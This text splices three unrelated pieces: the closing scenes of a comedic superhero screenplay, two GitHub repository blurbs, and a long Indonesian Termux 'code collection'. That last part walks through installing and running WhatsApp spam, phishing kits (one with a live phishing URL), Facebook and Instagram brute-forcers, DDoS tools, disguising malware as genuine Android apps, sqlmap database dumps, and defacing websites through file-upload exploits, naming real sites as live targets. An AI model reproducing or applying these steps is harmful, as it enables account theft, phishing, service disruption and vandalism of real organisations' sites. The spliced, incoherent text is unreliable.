afraid you have an inflated opinion of me. ROXANNE What the hell's happened to you? The Master Mind I knew would never have run from a fight even though he knew deep in his heart that he didn't have a chance in hell of winning it. It was your best quality. You need to be that man right now...I... MASTER MIND What? ROXANNE (heart felt) I believe in you. Master Mind is taken aback, in a good way. But he catches himself before the words swell his heart. MASTER MIND Sweet words, but that man is dead. Please, Roxanne, just come with me. ROXANNE No...I guess you are a coward after all. Suddenly, there's a loud crash. 106. Roxanne looks up to see a huge hunk of her ceiling has been completely ripped off. Titan is flying above, holding the debris as casually as if it were a paper plate at a barbecue. He looks down at her and smiles. TITAN Man, have I got a story for you. Master Mind can hears Titan's familiar laugh from his side of the line. MASTER MIND Roxanne? Roxanne? EXT. KINGPIN BOWLING - DAY Titan is standing in front of the bowling alley, trying to decide on an appropriate pose for the occasion. TITAN What pose would be best? The corny folded arms thing? He demonstrates, arching his chin proudly in the air. TITAN Or maybe on the hips, like this. It's the classic Superman pose, only not as masculine. TITAN No, makes me look like a flamer pirate. As Titan starts to fix his hair in the window, Frank pretends to fix the lens on his camera as he speaks to Roxanne. FRANK (whispering) Shouldn't we be making a run for it right about now? ROXANNE (whispering) The guy can outrun bullets. I don't think either one of us is in that kind of shape. TITAN She's right, Frank. 107. Frank looks up, stunned that Titan could have possibly heard him. TITAN Also got super hearing. I promise not to keep the both of you long, but you'll thank me when this is all over. Frank and Roxanne exchange helpless expressions. INT. ABANDONED METRO CITY LIBRARY - DAY Master Mind reverently stares up at the painted portrait of his father. MASTER MIND Dad, it's me... (he looks around to make sure no one can hear) ...Bubsy. I know we haven't talked in a while, and I'm sorry. It's been a little crazy trying to live up to a legacy. The painting's menacing stare seems to reach into his very soul. MASTER MIND Anyway...You raised me to be the worst that I could possibly be. And I've tried to live up to that as best as I could - even dropping out of dentistry school like you wanted me to. But I'm about to do something now that would really piss you off. I'm going to go against everything you ever taught me. I hope...I hope that maybe you'll look down at what I'm about to do as not so much a good deed, but more like the outright defiance of a hateful and ungrateful, son. If you could do that, then maybe - in your own little way - you could - for probably the first time - find a reason to be proud of me. He looks back up at the picture. Is it our imagination, or does the painting's stare suddenly seem even angrier? 108. MASTER MIND Well...either way, you're probably going to see me real soon. (calling over his shoulder) Men? Plato and Da Vinci suddenly stop what they're doing and look up at him. PLATO AND DA VINCI Yes Sir? MASTER MIND Stop packing. Our work is not finished here. PLATO AND DA VINCI YES SIR! TELEVISION A news report shows an aerial shot of Titan setting the giant ball down in the middle of a vacant city street. REPORTER We interrupt your regular afternoon programming to show you live footage of a potential dangerous situation in downtown Metro. The former hero knows as Titan is placing what appears to be a giant ball... INT. ABANDONED METRO CITY LIBRARY - CONTINUOUS Da Vinci stops in front of a television set, seeing the news report in progress. REPORTER Hold on...It appears our own Roxanne Ritchi is somehow at the scene. We now go to her with a live report. DA VINCI Sir, I think you should see this! CUT TO: 109. EXT. CITY STREET - DAY Roxanne is standing in front of a camera with a mike in her hand. ROXANNE I'm here with the cause of the destruction in Metro City. He has kidnapped me and a cameraman to chronicle what he refers to as the creation of a monument to his invincibility and overall "Asskickiness." He will use this giant concrete bowling ball to play the largest game of bowling ever using the buildings of downtown Metro City as his pins. Titan suddenly steps into the shot. TITAN And I'm going for the biggest strike ever. He leans into the camera. TITAN And you, Metro City, have a ringside seat as I cement my name in the anal of history. ROXANNE Annals. TITAN What? ROXANNE Nevermind. EXT. CITY STREET - MOMENTS LATER Titan holds up the massive bowling ball, lining up his shot. TITAN (in quiet professional bowler announcer voice) Like Tiger before him, a young savior has come to raise a sport from the ashes. Rookie Hal Stewart, a young man with a dream, realizing that dream here today, folks. (MORE) 110. TITAN(cont'd) One might click there heels and say "There's no place like home" upon finding themselves in such a fantasy. Well, Hal looks very much at home right were he is - with a ball in hand and glory in his sights. INT. METRO CITY LIBRARY - CONTINUOUS In the bowels of Master Mind's hideout, the HYDROGEN REACTOR glows and HUMS MENACINGLY. BACK TO SCENE Roxanne just stand helpless as Frank films away. ROXANNE Hal, I know everyone treated you like shit, but you don't have to do this. TITAN You're right. I don't HAVE to do anything. Isn't that cool? Titan lines up his shot. TITAN Here's one for the record books! Titan flies a few feet and rolls the ball down the main street. ROXANNE Her face is utter horror as she watches the inevitable destruction of Metro City. As the ball rolls - it demolishes everything in it's wake; cars, street lamps - windows shatter as the giant concrete sphere brushes along side buildings. TITAN He smiles in anticipation and uses "body English" to direct the ball. GIANT BOWLING BALL POV It's nearly halfway to its target. ROXANNE 111. She closes her eyes. Titan's smile fades. He looks around as if he hears something we don't. About two hundred feet in front of the first building a GIANT SPIDER WEB flies across the path of the ball, creating a defensive barrier. An enormous letter "M" is etched in the web's center. TITAN (CONT'D) What the...? The ball breaks through the web, but it's speed is greatly reduced. FRANK Look, what's that flying in the air? We suddenly see MASTER MIND FLYING OVER THE ROLLING BALL IN A JET PACK. He quickly pulls out his goo gun and starts laying down a path of sticky plasm to stop the destructive sphere's path. MASTER MIND C'mon, slow down Master Mind looks down to see the meter of the gun close to empty. MASTER MIND C'mon. The ball slows drastically then starts rolling to the side. It heads off an embankment and rolls harmlessly into a CANAL. MASTER MIND Gutterball! TITAN He's furious to say the least. TITAN YOU! Master Mind gives him a mocking grin. MASTER MIND Bowling? What other trailer park sports can you play? 112. TITAN You are becoming a real pain in my ass. I should have done this a long time ago. Titan lunges at his tormentor. Master Mind hits the BOOSTER on his jet pack and heads back toward the other side of the city with Titan in hot pursuit. MASTER MIND (CONT'D) (into walkie talkie) Plato, Da Vinci. Secure Roxanne, he's falling for it. ELSEWHERE A flustered Titan lands. He begins searching the city streets, but Master Mind is nowhere in sight. He turns upon hearing an EEKING sound to his left. Sitting on the ground is a CHIMPANZEE wearing a strange collar. It smiles at him. TITAN What the hell? From behind, Titan is immediately set upon by five more RADIO CONTROLLED APES. TITAN (CONT'D) GODAMNIT! The critters bite hop and hit Titan. As soon as he throws one off two more jump him. Titan breaks free and with his mighty breath blows them across the street into a fruit stand. With Titan out of their sight they begin to attack the fruit. MASTER MIND He's a block away frantically hitting his remote. MASTER MIND Shit! Stupid monkeys and their fruit. Titan flies away from the mad monkeys and lands to find Master Mind sitting on the ground wrapped in a long cape with only his head sticking out. 113. TITAN (CONT'D) No more games. Titan FIRES HIS LASER VISION AT MASTER MIND's CHEST. Master Mind pulls the cloak away to reveal a FIRE HYDRANT. Titan's EYE LASERS burn through the hydrant releasing a high pressure stream of water. Master Mind uses the last remote which dumps two tons of CEMENT mix into the truck. The crowd, police and news crews move in closer when Titan doesn't emerge. Master Mind drops his last remote and walks toward the truck cautiously. MASTER MIND Could it really be that easy-- - BOOM - The back of the truck explodes, throwing dust and concrete everywhere. When the dust clears we see and enraged Titan. MASTER MIND (CONT'D) Didn't think so. As the villain walks toward him, he pulls back his fist to give Master Mind the killing blow. TITAN If you don't mind, I'm going to punch trough your face now. Preparing himself for the end, Master Mind shuts his eyes as a SUDDEN GUST OF WIND BEGINS TO PICK UP. AS Titan goes to strike, a BLURRY FIGURE RUNS IN AND SNATCHES MASTER MIND OUT OF THE AWAY. Stunned, Master Mind begins to feel around his body as if to make sure everything's still in place. MASTER MIND I'm alive. He turns to see UBERMAN standing next to him. MASTER MIND Uberman? 114. The terrified bystanders start to notice the figure standing next to Master Mind. BYSTANDER 1 It's Uberman! BYSTANDER 2 Uberman's alive! BYSTANDER 3 We're saved! As the CROWD CHEERS, A confused Master Mind turns to Metro City's newly resurrected champion. MASTER MIND I thought. UBERMAN So did I. He puts a hand on Master Mind's shoulder. UBERMAN Thank you, old enemy. MASTER MIND For what? UBERMAN Showing me the error of my ways, Showing me I'm meant to be this city's savior, showing me that, while we can try, there is no running away from our true destiny. With that, UBERMAN IS STRICKEN BY A LASER BLAST, INSTANTLY TURNING HIM INTO A CHARRED HUMAN SKELETON. Master Mind turns to see Titan smiling with his STILL SMOKING EYES. TITAN Oh...Did I interrupt something? Master Mind turns to run, but, suddenly Titan is before him. TITAN Where you going, buddy? Titan grabs Master Mind by the collar and throws him across the street into a parked car. 115. TITAN (CONT'D) Welcome to Paintown. Population: you. Master Mind manages to stand on shaky legs. He seems in a daze, unable to move. Titan flies up in the air. TITAN (CONT'D) Time to finish this. With his fist front and center, Titan speeds toward Master Mind. He's like a human torpedo, coming in for the killing blow. Master Mind comes to his senses and puts up his hands. MASTER MIND WAIT!!! Titan screeches to a halt and stops just in front of him like an old Warner Bros cartoon. TITAN What? MASTER MIND Quick joke - What's the capital of Thailand? TITAN Huh - I don't know. MASTER MIND It's bang cock! In a sudden surge of strength, MASTER MIND PUNCHES TITAN IN THE GROIN. The once mighty man instantly drops to his knees, searching, with tears in his eyes, for the proper word to express the pain suddenly surging through his member. TITAN (CONT'D) Ow. Baffled, he looks up at Master Mind's hand and sees his gauntlet is now made ENTIRELY OUT OF COPPER. MASTER MIND So, I guess pennies are good for something. 116. He punches Titan in the face, knocking him out cold. Master Mind looks down on Titan with more than a little pride. Suddenly he hears something behind him. He spins to see the crowd making a strange noise - APPLAUSE. Roxanne comes up to him. The crowd starts to go wild and cheers for Master Mind. He's not sure what to make of it. ROXANNE Pretty strange, huh? MASTER MIND They're cheering for me. ROXANNE You saved them. You saved everybody. How's it feel? Master Mind looks at the smiles all around him. He begins to well up a little. MASTER MIND It's a...it's nice, you know? I usually don't get a lot of feedback. (whispering) But I also kind of caused all this. What happens when they find that out I was the cause of some of this? Roxanne looks at the cheering crowd, then back at Master Mind. ROXANNE What they don't know won't hurt them. MASTER MIND I guess that is all in the past. ROXANNE You're the hero. MASTER MIND I don't think I'd go that far...I mean I just...er... ROXANNE Master Mind? 117. MASTER MIND Yes? ROXANNE Stop talking. She kisses him. The crowd erupts in a cheer. TELEVISION The channel 7 he channel 7 logo zooms in followed by the title "Eye on Metro City." A picture of Master Mind smiling appears on the screen behind her. SAMANTHA SUMMERS Who's bad? Well, not Master Mind. It seems the former villain has done a career 180 after defeating Tighten and saving Metro City from certain enslavement. And here he is getting a full pardon by Metro City's Mayor, Steve Dent. Cut to ceremony on capital steps. The MAYOR is shaking Master Mind's metal gauntlet when it suddenly STARTS TO CRUSH HIS HAND. MAYOR Ahhh! Secret service men quickly start to draw their weapons and take aim at Master Mind. Realizing what's happening, he quickly lets the mayor's hand go and puts his arms in the air. MASTER MIND Sorry - Metal hand. Force of habit. He elbows the mayor. MASTER MIND (CONT'D) We're okay, right? Wincing, the mayor signals the men to put their guns down. WE CUT to video of Titan behind bars in a regular prison. 118. BRAD HELMS And what about Tighten? Is there a prison in existence that can hold this super powered menace? Well, the answer we found is no. A man in a white lab coat stands in front of Titan's cell just out of reach. PRISON SCIENTIST Of course normally he could break out of there anytime, but as you can see we've taken some special precautions. The news camera pans over see Titan in his cell wearing a copper JOCK STRAP with electrical cables hooked to it. Back to Samantha at the desk. BRAD HELMS What is a Hero? It seems never has that question needed to be asked more than it does tonight. We go to our very own Roxanne Ritchi, making her triumphant return to our news desk for the answer. Brad turns. The camera pans over to Roxanne who we now see has been sitting beside him. ROXANNE What is a hero? Well, there are many different kinds. There are those who hear a call, like the policeman or doctor, then there's the kind the public creates in their search for meaning and hope. Then, there are those who have the courage to change. DARK ALLEY - NIGHT A woman is being chased by two large thugs. They're gaining on her. She comes to a brick wall - a dead end. The thugs laugh. THUG #1 Hey, gimme that purse? 119. MASTER MIND (O.S) I don't think it would go with your outfit. The thugs turn around to see Master Mind, standing with his arms folded across his chest. THUG #2 It's Master Mind! Thug #1 draws a knife. THUG #1 So? It's not like he has any superpowers. Thug #1 puts his fingers to his mouth and whistles. Suddenly two more Thugs appear behind Master Mind. MASTER MIND I'm gonna give you a chance to surrender. THUG #1 Four against one. For a Master Mind, you're really bad at math. Master Mind throws a hand signal up in the air. Suddenly a giant robotic foot crashes down on the two men behind him. Thug #1 and Thug #2 drop their knives and raise their hands in the air. Master Mind looks up and waves. MASTER MIND Way to take out those two goons, guys! We see Da Vinci and Plato at the wheel of a gigantic robot. DA VINCI What two goons? The giant robot lifts its foot to check the bottom of it's sole. It KNOCKS OVER WATER TOWER in the process. The woman looks at Master Mind, horrified. 120. MASTER MIND (apologetically) Sorry, we're new at this. THE END
Jiang59991 / Ginger Wechat PortraitWeChat chat history analyzer — runs in Claude Code, generates dual-user visualization + AI personality comparison report. No API key needed.
KaspianDev / AntiPopupPlugin giving back privacy that server owners deserve.
Rizalcahdemak / Akun TermuxSkip to content arysandi/kumpulan kode di termux Created 3 years ago • Report abuse Code Revisions 1 Stars 105 Forks 8 kumpulan kode di termux KUMPULAN CODE TERMUX LENGKAP | SPAM CHAT WHATSAPP || nggk usah nyepam gw -_* atau hp lu gw ledakin!!#@vms $ pkg update && pkg upgrade Setelah mengupdate dan mengupgrade termux ketikan perintah berikut : $ pkg install python2 (y/n pilih y) $ pkg install php (y/n pilih y) $ pkg install git (y/n pilih y) Setalah mengikuti perintah di atas waktu-nya kita clonning tool-nya : $ git clone https://github.com/siputra12/prank.git Setelah proses cloning selesai kita move on dari perintah di atas dan ketikan perintah ini : $ cd prank $ ls $ php wa.php Kemudian masukan Nomor WhatsApp yang kalian ingin spam contoh : 085710917169 kemudian enter pada pilihan y/n pilih y .. .welcome back to me catatan:).... #@vms " jngan lupa subcribe pak *VEMAS DARK* -_-... (:" "phising game" (mobile legends dan clash of clan) $apt update $apt upgrade -y $pkg install python2 -y $pkg install apache2 $pkg install php -y $pkg install git $git clone https://github.com/Senitopeng/PhisingGame $ls $cd PhisingGame $python2 phising.py *Gunain dengan bijak cuk -_-* Cara Install OSIF ( Open Source Information Facebook ) $ pkg install python2 $ git clone https://github.com/ciku370/OSIF $ cd OSIF $ pip2 install -r requirements.txt Dan cara menjalankannya menggunakan perintah : python2 osif.py by: *Vdk* *~CARA SADAP WA~* *_SeNaNg-SeNaNg H4CK1NG MR.STAH_* $pkg update && pkg upgrade $pkg install git $pkg install curl $git clone https://github.com/AndriGanz/whatshack $cd whatshack $ls $sh whatshack.sh *~Jangan salah gunakan~* Tutorial termux Silahkan perdalami... D-tect tool Cara Install D-tect tool di android termux (command ) : $ apt install git $ apt install python2 $ git clone https://github.com/shawarkhanethicalhacker/D-TECT $ ls $ cd D-TECH $ chmod +x d-tect.py $ python2 d-tect.py 2. cara uninstall tool termux rm -rf toolsnya 3. cara buat virus cd /sdcard cd vbug ls chmod vbug.py chmod -v vbug.py python2 vbug.py 4. irssi /connet irc.freenode.net /nick w3wandroid /join #modol _________________________ DDOS via Termux ———————————— 1. Hammer $ pkg update (tekan enter) $ pkg upgrade (tekan enter) $ pkg install python (tekan enter) $ pkg install git (tekan enter) $ git clone https://github.com/cyweb/hammer (tekan enter) $ cd hammer (tekan enter) $ python hammer.py (tekan enter) $ python hammer.py -s [IP target] -p [port] -t 135 (tekan enter) 104.27.146.125 2. Xerxes $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 3. Torshammer $ pkg update $ pkg install git $ apt install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py 4. liteDDOS $ apt update $ apt upgrade $ pkg install git $ pkg install python2 $ git clone https://github.com/4L13199/LITEDDOS $ cd LITEDDOS $ python2 liteDDOS.py _________________________________________ Bermain moon-buggy $ pkg install moon-buggy $ moon-buggy ________________________________________ Musikan di termux $ pkg install mpv $ mpv/sdcard/lagu.mp3 /sdcard/ bisa di ganti sesuai letak musik ________________________________________ Browsing di termux $ pkg install w3m $ w3m www.google.com Linknya bsa diubah ________________________________________ Telephone di termux $ pkg install termux-api $ termux-telephony-call nomornya _______________________________________ Menampilkan animasi kereta $ pkg install sl $ sl _______________________________________ menampilkan ikon dan informasi sistem android $ pkg install neofetch $ neofetch _______________________________________ menampilkan teks dalam format ASCII $ pkg install figlet $ figlet masukin teksnya _______________________________________ Cara Mendengarkan Yotuube di termux $ pip install mps_youtube $ pip install youtube_dl $ apt install mpv $ mpsyt $ /judul lagu Tinggal pilih lagu dgn mengetik nomornya. Tutorial membuat virus seperti aplikasi aslinya Tools yang dibutuhkan: APK Editor & tool vbug APK Editor bisa didownload di playstore Tool vbug Here 1. Download tool vbugnya dulu 2. Taruh file tool vbug di luar folder pada memori internal 3. Buka termux lalu $ cd /sdcard 4. $ unzip vbug.zip 5. $ cd vbug 6. $ python2 vbug.py 7. Enter 8. Ketik 10 9. Ketik E 10. Aplikasi virusnya sudah jadi Setelah aplikasinya jad kita tinggal edit supaya mirip aslinya 1. Buka APK Editor 2. Klik Select an Apk File 3. Pilih aplikasi virus tadi 4. Klik full edit 5. Pada bagian kolom app_name tulis nama aplikasi yang kalian inginkan 6. Lalu klik files 7. Klik res/drawable 8. Logo yang kedua itu ganti dengan logo aplikasi yang kalian inginkan Catatan: format logo harus .png 9. Ceklist logo yang kedua lalu replace 10. Pilih file logo yang mau dijadikan logo aplikasi agan 11. Back sampai home Supaya aplikasi terlihat lebih nyata kita harus beri bobot pada aplikasi buatan kita 12. Klik tanda plus yang ada di bawah kiri, pilih file, lagu, gambar atau apapun yang coxok sebagai bobot apliaksi agan 13. Klik build 14. Tunggu hingga selesai 15. Jadi deh ———————— Auto boot fb git clone https://github.com/Senitopeng/BotFbBangDjon.git cd BotFbBangDjon python2 bangdjon.py melihat id fb https://findmyfbid.in/ Autoreaction Facebook git clone https://github.com/tomiashari/fb-autoreaction.git cd fb-autoreaction python2 fb-autoreaction •TOOLS²TERMUX.P3 21.TOOLS SQLMAP apt update apt install python apt install python2 apt install git git clone https://github.com/sqlmapproject/sqlmap cd sqlmap python2 sqlmap.py ============================= 22.TUTORIAL PHISING INSTAGRAM VIA TERMUX pkg update pkg upgrade pkg install python2 pkg install git clear git clone https://github.com/evait-secutiry/weeman.git cd ls cd weeman python2 weeman.py show set url http://dewopanel.host22.com/masuk.php set port 8080 set action_url http://dewopanel.host22.com/masuk.php run ============================= 23.TUTORIAL MENAMBAH FOLLOWERS&LIKE INSTAGRAM Kegunaan untuk menambah follower dan like ig pkg update pkg upgrade pkg install python2 pkg install ruby gem install lolcat pkg install git git clone https://github.com/Hanzelnutt/instabot cd instabot ls pip2 install -r requirements.txt bash instabot ============================= 24.TUTOR HACK WIFI KHUSUS ROOT apt update apt upgrade apt install git git clone https://github.com/esc0rtd3w/wifi-hacker ls cd wifi-hacker ls chmod +x wifi-hacker.sh ls ./wifi-hacker.sh ============================= 25.TOOLS xNOT_FOUND *VER1* apt update && apt upgrade pkg install git pkg install gem pkg install figlet gem install lolcat git clone https://github.com/hatakecnk/xNot_Found cd xNot_Found sh xNot_Found.sh ============================= 26.HACK FB Nih ada tutor buat lewat TERMUX buat hack FB apt update && apt upgrade apt install python apt install python2 apt install ruby apt install git apt install wget apt install curl pip2 install mechanize pip2 install requests git clone https://github.com/hnov7/mbf *tunggu hingga selesai,jika sudah selesai *silahkan buka tab baru atau new session lalu ketik : cd mbf python2 mbf.py ============================= 27.HACK GMAIL apt-get update && apt-get upgrade apt-get install git apt-get install python python-pip python-setuptools pip install scapy git clone https://github.com/wifiphisher/wifiphisher.git cd wifiphisher< python setup.py install cd wifiphisher python wifiphisher ============================= 28.BERMAIN MOON-BUGGY pkg install moon-buggy moon-buggy ============================= 29.PERKIRAAN CUACA curl http://wttr.in/ (lokasi) ============================= 30.BROWSING DI TERMUX pkg install w3m w3m www.google.com Linknya bsa diubah ============================= [8/10 19.49] Yovis Si Wibub: Apt update Apt upgrade Apt install mechanize Apt install git git clone http://github.com/hnov7/mbf cd mbf python2 mbf. py Mbf tanpa username dan password. Jdi tinggl make aja [8/10 19.49] Yovis Si Wibub: --------------------------TOTUR MBF-----------------------$ pkg update && pkg upgrade $ pkg install python2 $ pip2 install mechanize $ git clone https://github.com/pirmansx/mbf Cara Menjalankannya : $ ls $ cd mbf $ python2 MBF.py [9/10 17.25] *~I⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟: Memper Cantik/Melihat V.Android Termux $ pkg update && pkg upgrade $ pkg install ruby cowsay toilet figlet $ pkg install neofetch $ pkg install nano $ gem install lolcat $ cd ../usr/etc $ nano bash.bashrc cowsay -f eyes Cyber | lolcat toilet -f standard Indonesia -F gay neofetch date | lolcat ✓ Hack FB rombongan $ apt update && apt upgrade $ pkg install python2 git $ pip2 install mechanize $ git clone http://github.com/pirmansx/mbf $ ls $ cd mbf $ python2 MBF.py ✓ Hack FB ngincer $ Apt update ( Enter ) $ Apt upgrade ( Enter ) $ Apt install python2 ( Enter ) $ pip2 install urllib3 chardet certifi idna requests ( Enter ) $ apt install openssl curl ( Enter ) $ pkg install libcurl ( Enter ) $ ln /sdcard ( Enter ) $ cd /sdcard ( Enter ) $ python2 fbbrute.py ( Enter ) ✓ Hack Gmail apt-get update && apt-get upgrade $ apt-get install git $ apt-get install python python-pip python-setuptools $ pip install scapy $ git clone https://github.com/wifiphisher/wifiphisher.git $ cd wifiphisher< $ python setup.py install $ cd wifiphisher $ python wifiphisher Nih yang mau hack WiFi Khusus root $apt update $apt upgrade $apt install git $git clone https://github.com/esc0rtd3w/wifi-hacker $ls $cd Ni KUMPULAN TUTOR TERMUX [X SCREW UP X] *HACK INSTAGRAM* ( sosial engineering) $ apt update && apt upgrade $ pkg install python $ pkg install git $ pkg install nano $ git clone https://github.com/avramit/instahack.git $ ls $ cd instahack $ ls $ pip install requests $ cd instahack $ nano pass.txt $ cat pass.txt $ ls $ python hackinsta.py Localizar ip Apt install python git git clone https://github.com/maldevel/IPGeoLocation.git cd IPGeoLocation chmod +x ipgeoLocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t http://www.google.com Lacak IP git clone https://github.com/maldevel/IPGeolocation cd IPGeolocation chmod +x ipgeolocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t IP yang ingin dilacak TOOL DDOS VIA TERMUX 1. Hammer $ pkg update (tekan enter) $ pkg upgrade (tekan enter) $ pkg install python (tekan enter) $ pkg install git (tekan enter) $ git clone https://github.com/cyweb/hammer (tekan enter) $ cd hammer (tekan enter) $ python hammer.py (tekan enter) $ python hammer.py -s [IP target] -p [port] -t 135 (tekan enter) 2. Xerxes $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 3. Torshammer $ pkg update $ pkg install git $ apt install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py 4. liteDDOS $ apt update $ apt upgrade $ pkg install git $ pkg install python2 $ git clone https://github.com/4L13199/LITEDDOS $ cd LITEDDOS $ python2 liteDDOS.py RED_HAWK tool $ apt update $ apt install git $ git clone https://github.com/Tuhinshubhra/RED_HAWK $ cd RED_HAWK $ chmod +x rhawk.php $ apt install php $ ls $ php rhawk.php ```Install webdav ``` $ apt update && upgrade $ apt install python2 $ pip2 install urllib3 chardet certifi idna requests $ apt install openssl curl $ pkg install libcurl $ ln -s /sdcard $ cd sdcard $ mkdir webdav $ cd webdav Tutorial Install *Tools-B4J1N64Nv5* pkg install update pkg install git pkg install toilet pkg install figlet pip2 install lolcat git clone https://github.com/DarknessCyberTeam/B4J1N64Nv5 cd B4J1N64Nv5 sh B4J1N64N.sh cara install termux ubuntu - apt update/pkg update - apt upgrade/pkg upgrade - pkg install git - pkg install proot - pkg install wget - git clone https://github.com/Neo-Oli/termux-ubuntu - cd termux-ubuntu - chmod +x ubuntu.sh - pip install -r requirements.txt - ./ubuntu.sh Untuk menjalankan - ./start.sh Cara install github tembak XL Dari awal 1.pkg upgrade 2.pkg update 3.pkg install git 4.pkg install python 5.git clone https://github.com/albertoanggi/xl-py 6.pip install -r requirements.txt 7.chmod +x app.py 8.python/python2 app.py *Install admin finder in termux* $ apt update && apt upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/AdheBolo/AdminFinder *Menjalankan* $ ls $ cd AdminFinder $ chmod 777 AdminFinder.py $ python2 AdminFinder.py *Cara install tool Mr.Rv1.1* $apt update && apt upgrade $pkg install git $pkg install gem $pkg install figlet $gem install lolcat $git clone https://github.com/Mr-R225/Mr.Rv1.1 $cd Mr.Rv1.1 $sh Mr.Rv1.1.sh tool install $ apt update && apt upgrade $ apt install git $ git clone https://github.com/aryanrtm/4wsectools cd 4wsectools chmod 777 tools ./tools TOOL FSOCIETY $ git clone https://github.com/manisso/fsociety $ cd fsociety $ ./install.sh $ ls $ python2 fsociety.py SQLMAP apt update apt install python apt install python2 apt install git git clone https://github.com/sqlmapproject/sqlmap https://github.com/sqlmapproject/sqlmap.git cd sqlmap Python2 sqlmap.py Exemplo Python2 sqlmap.py -u website –dbs -D acuart –tables -D acuart -T users –columns -D acuart -T users -C name,email,phone -dump BUSCA PAINEL ADM DE SITE pkg install git git clone https://github.com/Techzindia/admin_penal cd admin_penal chmod +x admin_panel_finder.py python2 admin_panel_finder.py HAKKU apt install pytho apt install git mkdir vasu git clone https://github.com/4shadoww/hakkuframework cd hakkuframework chmod +x hakku python hakku show modules use whois show options set target examplesite.com run TOOL D-TECT apt update apt install git git clone https://github.com/shawarkhanethicalhacker/D-TECT cd D-TECT apt install python2 chmod +x d-tect.py python2 d-tect.py examplesite.com viSQL apt update apt install python2 apt install git git clone https://github.com/blackvkng/viSQL cd viSQL python2 -m pip install -r requirements.txt python2 viSQL.py python2 viSQL.py -t http://www.bible-history.com Hash Buster apt update apt upgrade apt install python2 apt install git git clone https://github.com/UltimateHackers/Hash-Buster cd Hash-Buster python2 hash.py tool ubuntu $ apt update $ apt install git $ apt install wget $ apt install proot $ git clone https://github.com/Neo-Oli/termux-ubu… $ cd termux-ubuntu $ chmod +x ubuntu.sh $ ./ubuntu.sh $ ./start.sh (````Install``` *Hunner framework*) $ apt update $ apt install python $ apt install git -y $ git clone https://github.com/b3-v3r/Hunner $ cd Hunner $ chmod 777 hunner.py $ python hunner.py *Cara Install Lazymux di Termux* $ pkg update && upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/Gameye98/Lazymux $ cd Lazymux $ chmod +x lazymux.py $ python2 lazymux.py Cara install tools daijobu* Fungsinya nanti liat sendiri lah di dalem tools nya $apt upgrade && apt update $apt install php $apt install git Kalo udah selesai langsung masukan git nya dengan perintah $git clone https://github.com/alintamvanz/diejoubu $cd diejoubu $cd v1.2 $php diejoubu.php Hecker RECONDOG apt update apt install python python2 apt install git git clone https://github.com/UltimateHackers/ReconDog cd ReconDog chmod +x dog.py Python2 dog.py DEFACE Hacking Script-Deface $apt update $apt upgrade $apt install git $apt install python2 $git clone https://github.com/Ubaii/script-deface-creator $ls $cd script-deface-creator $ls $chmod +x create.py $ls $python2 create.py done semoga bisa bikin script Html CARA DEFACE Cara1 Siapkan script sendiri.. 1.buka browser kalian apa saja terserah lalu ke google 2.tulis dork nya berikut ini (inurl:"sitefinity/login.aspx) tanpa tanda buka kurung dan tutup kurung! lalu search 3.pilih lah salah satu website terserah kalian,klik website nya lalu tambahkan exploit nya sebagai berikut (sitefinity/usercontrols/dialog/documenteditordialog.aspx) tanpa buka tutup kurung! E http://sitetarget*org/sitefinity/usercontrols/dialogs/documenteditordialog.aspx 4.lalu klik search kembali! nah disitu kalian klik chose file dan pilih script deface punya kalian 5.klik yang di bawah nya tunggu sampai loading selesai 6.tambah link target tadi dengan (/files) contoh http://sitetarget*org/files/namascriptdefacekalian.html lalu klik search 7.selesai!! Cara2 Method/metode KCFinder Inurl:/kcfinder/browse.php Inurl:/Kcfinder/ Langsung saja upload file deface anda,lalu panggil dengan tambahan /file/namasckamu.html Contoh: https://basukiwater.com/kcfinder/browse.php jadi https://basukiwater.com/file/namasckamu.html cara3 Deface Onion.to File Upload Tutor ini sekarang lagi Ngtreend & Simple , tapi ingat ya bukan Deepweb melaikan Fake Deepweb hehehe... Mari kita Lanjut... Dork : - inurl:/upload site:.onion.to - intext:"Upload" site:.onion.to Live : https://tt3j2x4k5ycaa5zt.onion.to/upload.php Step By Step : 1. Dorking Dulu 2. Pilih Web Target 3. Pilih File yang mau di'upload 4. Tinggal klik Upload => Done 😆 Contoh Target : https://tt3j2x4k5ycaa5zt.onion.to/uploads/lopeyou.html https://danwin1210.me/uploads/lopeyou.html https://temp.xn--wda.fr/e719x8JgJ.html Mirror?! 😆 https://www.defacer.id/296011.html https://www.defacer.id/296024.html cara4 Metode com media Bahan : 1. Dork : - inurl:com_media site:com - inurl:com_media intext:"Upload" 2. Exploit : /index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder= 3. Upload'an : Format .txt 😁 Live Target : http://www.james-insurance.co.uk/ Step by Step : gunakan Live Targert dulu untuk Uji Coba 😁 1. Masukkan dork : inurl:com_media intext:"Upload" site:co.uk 2. Pilih salah satu Web 3. Masukkan Exploit http://www.james-insurance.co.uk/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder= 4. Lalu Upload file dalam tempat upload ( format .txt ) Akses shell ? Tambahkan : /images/namafile.txt contoh : http://www.james-insurance.co.uk/images/fac.txt Nanti Jadi Gini Hasilnyaa.. Mudah Bukan?! Tinggal Upload ke Defacer.id 😁 cara5 [POC] Vulnerability Simplicity Of Upload #Step 1: Dork: “Powered By: © Simplicity oF Upload” #Step 2: Exploit: http://[situstargetkamu]/PATH/upload.php *Tergantung dengan target. #Step 3: llowed file: gif, jpg, png, txt, php, asp, cgi, zip, exe, mp3, etc (not allowed for html) #Step 4: Preview: http://[situstargetkamu]/upload/[Your File] #Step 5: Live Demo: http://www.railfaneurope.net/pix/upload.php http://www.formplas.com/upload/upload.php Nah, saya kira cukup segitu aja kok, karena mudah tuh tutorial nya. Al in one crip termux $ apt update && apt 